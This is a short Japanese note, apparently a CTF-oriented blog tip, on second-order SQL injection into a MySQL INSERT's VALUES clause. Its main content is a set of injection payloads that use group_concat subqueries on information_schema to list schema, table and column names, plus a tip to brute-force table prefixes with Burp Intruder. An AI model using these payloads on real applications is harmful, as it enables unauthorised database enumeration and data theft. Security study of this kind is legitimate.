【MySQL】VALUESの中に他テーブルの文字を挿入[SQLi]
//
想定
下の$params
の部分が入力になっている。ここで保存した値が、一覧ページに表示される仕様になっている。
INSERT INTO table_name (column_name1, column_name2) VALUES (1, $params) ;
スキーマ名をカラムに保存
$params = (select group_concat(schema_name) from information_schema.schema)
table名をカラムに保存
$params = (select group_concat(table_name) from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA='必要ならスキーマ名')
group_concat
には独自でまとめられる個数制限があるらしいので、like
句などで絞ってBurp
のIntruder
などでa-z
を回すと効率良い。
$params = (select group_concat(table_name) from INFORMATION_SCHEMA.TABLES where TABLE_NAME like 'a%')
カラム名を保存
(select group_concat(COLUMN_NAME) from information_schema.columns where table_name='テーブル名')
最後に
あとは出題に合わせて適宜'
などを入れてください。(CTF)